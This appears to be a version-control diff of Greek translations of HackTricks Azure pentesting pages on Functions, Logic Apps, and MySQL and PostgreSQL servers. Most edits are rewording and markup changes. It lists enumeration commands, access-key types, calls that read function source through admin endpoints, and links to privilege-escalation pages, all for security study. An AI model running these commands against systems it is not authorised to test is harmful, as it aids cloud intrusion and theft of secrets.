> Σημειώστε ότι δεν υπάρχουν δικαιώματα RBAC για να δώσετε πρόσβαση σε χρήστες για να καλέσουν τις λειτουργίες. Η **κλήση της λειτουργίας εξαρτάται από τον ενεργοποιητή** που επιλέχθηκε κατά τη δημιουργία της και αν επιλέχθηκε ένας HTTP Trigger, μπορεί να χρειαστεί να χρησιμοποιήσετε ένα **access key**.
|
||||
> Σημειώστε ότι δεν υπάρχουν δικαιώματα RBAC για να δώσετε πρόσβαση σε χρήστες να καλέσουν τις λειτουργίες. Η **κλήση λειτουργίας εξαρτάται από τον ενεργοποιητή** που επιλέχθηκε κατά τη δημιουργία και αν επιλέχθηκε ένας HTTP Trigger, μπορεί να χρειαστεί να χρησιμοποιήσετε ένα **access key**.
|
||||
|
||||
Όταν δημιουργείτε ένα endpoint μέσα σε μια λειτουργία χρησιμοποιώντας έναν **HTTP trigger** είναι δυνατό να υποδείξετε το **access key authorization level** που απαιτείται για να ενεργοποιήσετε τη λειτουργία. Διατίθενται τρεις επιλογές:
|
||||
|
||||
@@ -84,10 +84,10 @@
|
||||
|
||||
**Τύποι κλειδιών:**
|
||||
|
||||
- **Function Keys:** Τα κλειδιά λειτουργίας μπορεί να είναι είτε προεπιλεγμένα είτε καθορισμένα από τον χρήστη και έχουν σχεδιαστεί για να παρέχουν πρόσβαση αποκλειστικά σε **συγκεκριμένα endpoints λειτουργίας** μέσα σε μια Function App επιτρέποντας μια πιο λεπτομερή πρόσβαση στα endpoints.
|
||||
- **Host Keys:** Τα κλειδιά host, τα οποία μπορεί επίσης να είναι προεπιλεγμένα ή καθορισμένα από τον χρήστη, παρέχουν πρόσβαση σε **όλα τα endpoints λειτουργίας μέσα σε μια Function App με επίπεδο πρόσβασης FUNCTION**.
|
||||
- **Function Keys:** Τα κλειδιά λειτουργίας μπορεί να είναι είτε προεπιλεγμένα είτε καθορισμένα από τον χρήστη και έχουν σχεδιαστεί για να παρέχουν πρόσβαση αποκλειστικά σε **συγκεκριμένα endpoints λειτουργίας** εντός μιας Function App επιτρέποντας μια πιο λεπτομερή πρόσβαση στα endpoints.
|
||||
- **Host Keys:** Τα κλειδιά host, τα οποία μπορεί επίσης να είναι προεπιλεγμένα ή καθορισμένα από τον χρήστη, παρέχουν πρόσβαση σε **όλα τα endpoints λειτουργίας εντός μιας Function App με επίπεδο πρόσβασης FUNCTION**.
|
||||
- **Master Key:** Το master key (`_master`) χρησιμεύει ως διοικητικό κλειδί που προσφέρει αυξημένα δικαιώματα, συμπεριλαμβανομένης της πρόσβασης σε όλα τα endpoints λειτουργίας (συμπεριλαμβανομένου του επιπέδου πρόσβασης ADMIN). Αυτό το **κλειδί δεν μπορεί να ανακληθεί.**
|
||||
- **System Keys:** Τα συστήματα κλειδιά είναι **διαχειριζόμενα από συγκεκριμένες επεκτάσεις** και απαιτούνται για την πρόσβαση σε webhook endpoints που χρησιμοποιούνται από εσωτερικά συστατικά. Παραδείγματα περιλαμβάνουν τον Event Grid trigger και τις Durable Functions, οι οποίες χρησιμοποιούν συστήματα κλειδιά για να αλληλεπιδρούν με τις αντίστοιχες APIs τους με ασφάλεια.
|
||||
- **System Keys:** Τα συστήματα κλειδιά είναι **διαχειριζόμενα από συγκεκριμένες επεκτάσεις** και απαιτούνται για την πρόσβαση σε webhook endpoints που χρησιμοποιούνται από εσωτερικά στοιχεία. Παραδείγματα περιλαμβάνουν τον Event Grid trigger και τις Durable Functions, οι οποίες χρησιμοποιούν συστήματα κλειδιά για να αλληλεπιδρούν με τις αντίστοιχες APIs τους με ασφάλεια.
|
||||
|
||||
> [!TIP]
|
||||
> Παράδειγμα για πρόσβαση σε ένα endpoint API λειτουργίας χρησιμοποιώντας ένα κλειδί:
|
||||
@@ -96,7 +96,7 @@
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Ακριβώς όπως στις App Services, οι Functions υποστηρίζουν επίσης βασική αυθεντικοποίηση για σύνδεση στο **SCM** και **FTP** για την ανάπτυξη κώδικα χρησιμοποιώντας ένα **όνομα χρήστη και κωδικό πρόσβασης σε ένα URL** που παρέχεται από το Azure. Περισσότερες πληροφορίες σχετικά με αυτό σε:
|
||||
Ακριβώς όπως στις App Services, οι Functions υποστηρίζουν επίσης βασική αυθεντικοποίηση για σύνδεση στο **SCM** και **FTP** για την ανάπτυξη κώδικα χρησιμοποιώντας ένα **όνομα χρήστη και κωδικό πρόσβασης σε ένα URL** που παρέχεται από την Azure. Περισσότερες πληροφορίες σχετικά με αυτό σε:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
Όταν μια λειτουργία δημιουργείται από ένα Github repo, η διαδικτυακή κονσόλα Azure επιτρέπει να **δημιουργηθεί αυτόματα ένα Github Workflow σε ένα συγκεκριμένο αποθετήριο** έτσι ώστε κάθε φορά που αυτό το αποθετήριο ενημερώνεται, ο κώδικας της λειτουργίας να ενημερώνεται. Στην πραγματικότητα, το Github Action yaml για μια python function φαίνεται έτσι:
|
||||
Όταν μια λειτουργία δημιουργείται από ένα Github repo, η διαδικτυακή κονσόλα Azure επιτρέπει να **δημιουργηθεί αυτόματα ένα Github Workflow σε ένα συγκεκριμένο αποθετήριο** έτσι ώστε κάθε φορά που αυτό το αποθετήριο ενημερώνεται, ο κώδικας της λειτουργίας ενημερώνεται. Στην πραγματικότητα, το Github Action yaml για μια python function φαίνεται έτσι:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,7 +192,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Επιπλέον, μια **Διαχειριζόμενη Ταυτότητα** δημιουργείται ώστε η Github Action από το αποθετήριο να μπορεί να συνδεθεί στο Azure με αυτή. Αυτό γίνεται με τη δημιουργία ενός Ομοσπονδιακού διαπιστευτηρίου πάνω στη **Διαχειριζόμενη Ταυτότητα** επιτρέποντας στον **Εκδότη** `https://token.actions.githubusercontent.com` και τον **Αναγνωριστή Υποκειμένου** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Επιπλέον, μια **Διαχειριζόμενη Ταυτότητα** δημιουργείται ώστε η Github Action από το αποθετήριο να μπορεί να συνδεθεί στο Azure με αυτή. Αυτό γίνεται με τη δημιουργία ενός Ομοσπονδιακού διαπιστευτηρίου πάνω στη **Διαχειριζόμενη Ταυτότητα** επιτρέποντας στον **Εκδότη** `https://token.actions.githubusercontent.com` και τον **Αναγνωριστικό Υποκειμένου** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Επομένως, οποιοσδήποτε συμβιβάσει αυτό το αποθετήριο θα μπορεί να συμβιβάσει τη λειτουργία και τις Διαχειριζόμενες Ταυτότητες που είναι συνδεδεμένες με αυτή.
|
||||
@@ -205,9 +205,8 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
|
||||
## Αριθμητική
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
@@ -273,11 +270,11 @@ Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||
# Retrieves the app settings for a specific Azure Function App.
|
||||
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Ανύψωση Δικαιωμάτων
|
||||
|
||||
## Κλιμάκωση Δικαιωμάτων
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
|
||||
@@ -10,12 +10,12 @@ Logic Apps παρέχει έναν οπτικό σχεδιαστή για τη
|
||||
|
||||
### Examples
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps μπορεί να αυτοματοποιήσει **διαδικασίες μεταφοράς και μετασχηματισμού δεδομένων** σε συνδυασμό με το Azure Data Factory. Αυτό είναι χρήσιμο για τη δημιουργία κλιμακούμενων και αξιόπιστων ροών δεδομένων που μεταφέρουν και μετασχηματίζουν δεδομένα μεταξύ διαφόρων αποθηκευτικών χώρων δεδομένων, όπως το Azure SQL Database και το Azure Blob Storage, βοηθώντας σε αναλύσεις και επιχειρηματική ευφυΐα.
|
||||
- **Integrating with Azure Functions**: Logic Apps μπορεί να λειτουργήσει παράλληλα με το Azure Functions για την ανάπτυξη **πολύπλοκων, εκδηλωτικών εφαρμογών που κλιμακώνονται κατά ανάγκη** και ενσωματώνονται απρόσκοπτα με άλλες υπηρεσίες Azure. Ένα παράδειγμα χρήσης είναι η χρήση μιας Logic App για την ενεργοποίηση μιας Azure Function ως απάντηση σε ορισμένα γεγονότα, όπως οι αλλαγές σε έναν λογαριασμό Azure Storage, επιτρέποντας τη δυναμική επεξεργασία δεδομένων.
|
||||
- **Αυτοματοποίηση Δεδομένων**: Logic Apps μπορεί να αυτοματοποιήσει **τη διαδικασία μεταφοράς και μετασχηματισμού δεδομένων** σε συνδυασμό με το Azure Data Factory. Αυτό είναι χρήσιμο για τη δημιουργία κλιμακούμενων και αξιόπιστων ροών δεδομένων που μεταφέρουν και μετασχηματίζουν δεδομένα μεταξύ διαφόρων αποθηκευτικών χώρων δεδομένων, όπως το Azure SQL Database και το Azure Blob Storage, βοηθώντας σε αναλύσεις και επιχειρηματική ευφυΐα.
|
||||
- **Ενσωμάτωση με Azure Functions**: Logic Apps μπορεί να λειτουργήσει παράλληλα με το Azure Functions για την ανάπτυξη **πολύπλοκων, εκδηλωτικών εφαρμογών που κλιμακώνονται όπως απαιτείται** και ενσωματώνονται απρόσκοπτα με άλλες υπηρεσίες Azure. Ένα παράδειγμα χρήσης είναι η χρήση ενός Logic App για την ενεργοποίηση μιας Azure Function σε απάντηση σε ορισμένα γεγονότα, όπως οι αλλαγές σε έναν λογαριασμό Azure Storage, επιτρέποντας τη δυναμική επεξεργασία δεδομένων.
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
Είναι δυνατόν να δείτε μια LogicApp με γραφικά:
|
||||
Είναι δυνατή η προβολή ενός LogicApp με γραφικά:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -23,7 +23,7 @@ Logic Apps παρέχει έναν οπτικό σχεδιαστή για τη
|
||||
|
||||
### SSRF Protection
|
||||
|
||||
Ακόμα και αν βρείτε την **Logic App ευάλωτη σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα καθώς οι Logic Apps δεν το επιτρέπουν.
|
||||
Ακόμα και αν βρείτε το **Logic App ευάλωτο σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα καθώς τα Logic Apps δεν το επιτρέπουν.
|
||||
|
||||
Για παράδειγμα, κάτι τέτοιο δεν θα επιστρέψει το token:
|
||||
```bash
|
||||
@@ -35,17 +35,16 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741
|
||||
Υπάρχουν αρκετές επιλογές φιλοξενίας:
|
||||
|
||||
* **Κατανάλωση**
|
||||
- **Πολυ-ενοικιαστής**: παρέχει κοινόχρηστους υπολογιστικούς πόρους, λειτουργεί στο δημόσιο σύννεφο και ακολουθεί ένα μοντέλο τιμολόγησης ανά λειτουργία. Αυτό είναι ιδανικό για ελαφριά και οικονομικά φορτία εργασίας.
|
||||
- **Πολυενοικιαζόμενο**: παρέχει κοινόχρηστους υπολογιστικούς πόρους, λειτουργεί στο δημόσιο σύννεφο και ακολουθεί ένα μοντέλο τιμολόγησης ανά λειτουργία. Αυτό είναι ιδανικό για ελαφριά και οικονομικά φορτία εργασίας.
|
||||
* **Κανονικό**
|
||||
- **Σχέδιο Υπηρεσίας Ροής Εργασίας**: αφιερωμένοι υπολογιστικοί πόροι με ενσωμάτωση VNET για δικτύωση και χρεώσεις ανά περίπτωση σχεδίου υπηρεσίας ροής εργασίας. Είναι κατάλληλο για πιο απαιτητικά φορτία εργασίας που απαιτούν μεγαλύτερο έλεγχο.
|
||||
- **Περιβάλλον Υπηρεσίας Εφαρμογών V3** αφιερωμένοι υπολογιστικοί πόροι με πλήρη απομόνωση και κλιμάκωση. Επίσης, ενσωματώνεται με VNET για δικτύωση και χρησιμοποιεί ένα μοντέλο τιμολόγησης βασισμένο σε περιπτώσεις Υπηρεσίας Εφαρμογών εντός του περιβάλλοντος. Αυτό είναι ιδανικό για εφαρμογές επιπέδου επιχείρησης που χρειάζονται υψηλή απομόνωση.
|
||||
- **Υβριδικό** σχεδιασμένο για τοπική επεξεργασία και υποστήριξη πολλών σύννεφων. Επιτρέπει τη διαχείριση υπολογιστικών πόρων από τον πελάτη με τοπική πρόσβαση στο δίκτυο και χρησιμοποιεί το Kubernetes Event-Driven Autoscaling (KEDA).
|
||||
|
||||
### Αριθμητική
|
||||
### Απαρίθμηση
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName>
|
||||
@@ -108,11 +107,9 @@ az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
# List all application settings for a specific Logic App
|
||||
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
@@ -137,17 +134,14 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName
|
||||
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Λογαριασμοί Ενοποίησης
|
||||
**Λογαριασμοί Ενοποίησης**, είναι μια δυνατότητα των Azure Logic Apps. Οι Λογαριασμοί Ενοποίησης χρησιμοποιούνται για να διευκολύνουν τις ενοποιήσεις σε επίπεδο επιχείρησης, επιτρέποντας προηγμένες δυνατότητες B2B, όπως EDI, AS2 και διαχείριση XML schema. Οι Λογαριασμοί Ενοποίησης είναι ένα δοχείο στο Azure που αποθηκεύει τα παρακάτω αντικείμενα που χρησιμοποιούνται για τα Logic Apps:
|
||||
**Λογαριασμοί Ενοποίησης**, είναι μια δυνατότητα των Azure Logic Apps. Οι Λογαριασμοί Ενοποίησης χρησιμοποιούνται για να διευκολύνουν τις ενοποιήσεις σε επίπεδο επιχείρησης, επιτρέποντας προηγμένες δυνατότητες B2B, όπως EDI, AS2 και διαχείριση XML schema. Οι Λογαριασμοί Ενοποίησης είναι ένα δοχείο στο Azure που αποθηκεύει τα εξής αντικείμενα που χρησιμοποιούνται για τα Logic Apps:
|
||||
|
||||
* Σχήματα: Διαχείριση XML schemas για την επικύρωση και επεξεργασία μηνυμάτων στον λογαριασμό ενοποίησης σας.
|
||||
* Χάρτες: Ρύθμιση μετασχηματισμών βασισμένων σε XSLT για τη μετατροπή μορφών δεδομένων μέσα στις ροές εργασίας ενοποίησης σας.
|
||||
* Σχήματα: Διαχείριση XML schemas για την επικύρωση και επεξεργασία μηνυμάτων στον λογαριασμό σας ενοποίησης.
|
||||
* Χάρτες: Ρύθμιση μετασχηματισμών βασισμένων σε XSLT για τη μετατροπή μορφών δεδομένων μέσα στις ροές εργασίας ενοποίησης.
|
||||
* Συγκροτήματα: Διαχείριση συγκροτημάτων λογαριασμού ενοποίησης για την απλοποίηση της λογικής και της επεξεργασίας δεδομένων.
|
||||
* Πιστοποιητικά: Διαχείριση πιστοποιητικών για την κρυπτογράφηση και την υπογραφή μηνυμάτων, εξασφαλίζοντας ασφαλή επικοινωνία.
|
||||
* Εταίροι: Διαχείριση πληροφοριών εμπορικών εταίρων για B2B συναλλαγές, επιτρέποντας απρόσκοπτες ενοποιήσεις.
|
||||
@@ -157,9 +151,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
|
||||
#### Αρίθμηση
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# Integration account
|
||||
az logic integration-account list --resource-group <resource-group-name>
|
||||
@@ -219,11 +212,9 @@ az logic integration-account assembly show \
|
||||
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
@@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -Integr
|
||||
# Retrieve details of a specific schema in an integration account
|
||||
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
|
||||
## Ανύψωση Δικαιωμάτων
|
||||
|
||||
Ίδιο με την ανύψωση δικαιωμάτων των λογικών εφαρμογών:
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-logic-apps-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Μετά την Εκμετάλλευση
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -17,15 +17,14 @@
|
||||
|
||||
### Key Features
|
||||
* **Server Management**: Η δυνατότητα **ad-admin** επιτρέπει τη διαχείριση των διαχειριστών Azure Active Directory (AAD) για τους διακομιστές MySQL, παρέχοντας έλεγχο στην πρόσβαση των διαχειριστών μέσω διαπιστευτηρίων AAD, ενώ η δυνατότητα **identity** επιτρέπει την ανάθεση και διαχείριση των Azure Managed Identities, προσφέροντας ασφαλή, χωρίς διαπιστευτήρια, αυθεντικοποίηση για την πρόσβαση σε πόρους Azure.
|
||||
* **Lifecycle Management**: επιλογές για εκκίνηση ή διακοπή ενός διακομιστή, διαγραφή μιας ευέλικτης παρουσίας διακομιστή, επανεκκίνηση ενός διακομιστή για γρήγορη εφαρμογή αλλαγών διαμόρφωσης και αναμονή για να διασφαλιστεί ότι ένας διακομιστής πληροί συγκεκριμένες προϋποθέσεις πριν προχωρήσει με τα αυτοματοποιημένα σενάρια.
|
||||
* **Lifecycle Management**: επιλογές για την εκκίνηση ή διακοπή ενός διακομιστή, διαγραφή μιας ευέλικτης παρουσίας διακομιστή, επανεκκίνηση ενός διακομιστή για γρήγορη εφαρμογή αλλαγών διαμόρφωσης και αναμονή για να διασφαλιστεί ότι ένας διακομιστής πληροί συγκεκριμένες προϋποθέσεις πριν προχωρήσει με τα αυτοματοποιημένα σενάρια.
|
||||
* **Security and Networking**: μπορεί να διαχειριστεί κανόνες τείχους προστασίας διακομιστή για ασφαλή πρόσβαση στη βάση δεδομένων και να αποσυνδέσει τις ρυθμίσεις εικονικού δικτύου όπως απαιτείται.
|
||||
* **Data Protection and Backup**: περιλαμβάνει επιλογές για τη διαχείριση των αντιγράφων ασφαλείας ευέλικτου διακομιστή για ανάκτηση δεδομένων, εκτέλεση γεω-αποκατάστασης για την ανάκτηση ενός διακομιστή σε διαφορετική περιοχή, εξαγωγή αντιγράφων ασφαλείας διακομιστή για εξωτερική χρήση (σε Preview) και αποκατάσταση ενός διακομιστή από αντίγραφο ασφαλείας σε συγκεκριμένη χρονική στιγμή.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List all flexible-servers
|
||||
az mysql flexible-server db list --resource-group <resource-group-name>
|
||||
@@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group <resource-group-name>
|
||||
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
@@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-na
|
||||
# List log files for a server
|
||||
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Σύνδεση
|
||||
|
||||
Με την επέκταση rdbms-connect μπορείτε να αποκτήσετε πρόσβαση στη βάση δεδομένων με:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
@@ -116,17 +110,11 @@ az mysql flexible-server execute \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ή με το πρόσθετο MySQL native extension
|
||||
{% code overflow="wrap" %}
|
||||
Ή με το πρόσθετο της εγγενής επέκτασης MySQL
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Επίσης, μπορείτε να εκτελέσετε ερωτήματα με το github, αλλά απαιτούνται επίσης ο κωδικός πρόσβασης και ο χρήστης. Πρέπει να ρυθμίσετε ένα αρχείο sql με το ερώτημα που θέλετε να εκτελέσετε και στη συνέχεια:
|
||||
{% code overflow="wrap" %}
|
||||
Επίσης, μπορείτε να εκτελέσετε ερωτήματα με το github, αλλά απαιτούνται επίσης ο κωδικός πρόσβασης και ο χρήστης. Πρέπει να ρυθμίσετε ένα αρχείο sql με το ερώτημα που θέλετε να εκτελέσετε και στη συνέχεια:
|
||||
```bash
|
||||
# Setup
|
||||
az mysql flexible-server deploy setup \
|
||||
@@ -145,24 +133,20 @@ az mysql flexible-server deploy run \
|
||||
--action-name <action-name> \
|
||||
--branch <branch-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Ανύψωση Δικαιωμάτων
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
|
||||
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-mysql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Μετά την Εκμετάλλευση
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
|
||||
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-mysql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Δείτε έναν τρόπο πρόσβασης με mysql flexible-server ad-admin για να επαληθεύσετε ότι είναι μέθοδος ανύψωσης δικαιωμάτων
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure PostgreSQL
|
||||
**Azure Database for PostgreSQL** είναι μια πλήρως διαχειριζόμενη **υπηρεσία σχεσιακής βάσης δεδομένων που βασίζεται στο PostgreSQL** Community Edition. Είναι σχεδιασμένη για να παρέχει κλιμάκωση, ασφάλεια και ευελιξία για ποικίλες ανάγκες εφαρμογών. Παρόμοια με το Azure MySQL, το PostgreSQL προσφέρει δύο μοντέλα ανάπτυξης:
|
||||
**Azure Database for PostgreSQL** είναι μια πλήρως διαχειριζόμενη **υπηρεσία σχεσιακής βάσης δεδομένων που βασίζεται στο PostgreSQL** Community Edition. Είναι σχεδιασμένη για να παρέχει κλιμάκωση, ασφάλεια και ευελιξία για ποικιλόμορφες ανάγκες εφαρμογών. Παρόμοια με το Azure MySQL, το PostgreSQL προσφέρει δύο μοντέλα ανάπτυξης:
|
||||
|
||||
* **Single Server** (σε πορεία αποσύρσης):
|
||||
- Βελτιστοποιημένο για απλές, οικονομικά αποδοτικές αναπτύξεις PostgreSQL.
|
||||
@@ -22,13 +22,12 @@
|
||||
* **Stop/Start Server**: Οι χρήστες μπορούν να σταματούν και να ξεκινούν τον διακομιστή.
|
||||
* **Automatic Backups**: Ενσωματωμένα καθημερινά αντίγραφα ασφαλείας με ρυθμιζόμενες περιόδους διατήρησης έως 35 ημέρες.
|
||||
* **Role-Based Access**: Ελέγξτε τις άδειες χρηστών και την διοικητική πρόσβαση μέσω του Azure Active Directory.
|
||||
* **Security and Networking**: μπορείτε να διαχειριστείτε τους κανόνες τείχους προστασίας του διακομιστή για ασφαλή πρόσβαση στη βάση δεδομένων και να αποσυνδέσετε τις ρυθμίσεις εικονικού δικτύου όπως απαιτείται.
|
||||
* **Security and Networking**: μπορεί να διαχειριστεί κανόνες τείχους προστασίας διακομιστή για ασφαλή πρόσβαση στη βάση δεδομένων και να αποσυνδέσει τις ρυθμίσεις εικονικού δικτύου κατά την ανάγκη.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List servers in a resource group
|
||||
az postgres flexible-server list --resource-group <resource-group-name>
|
||||
@@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group <resource-group-na
|
||||
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
@@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
|
||||
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Σύνδεση
|
||||
|
||||
Με την επέκταση rdbms-connect μπορείτε να αποκτήσετε πρόσβαση στη βάση δεδομένων με:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
@@ -112,32 +106,27 @@ az postgres flexible-server execute \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ή
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Αναφορές
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
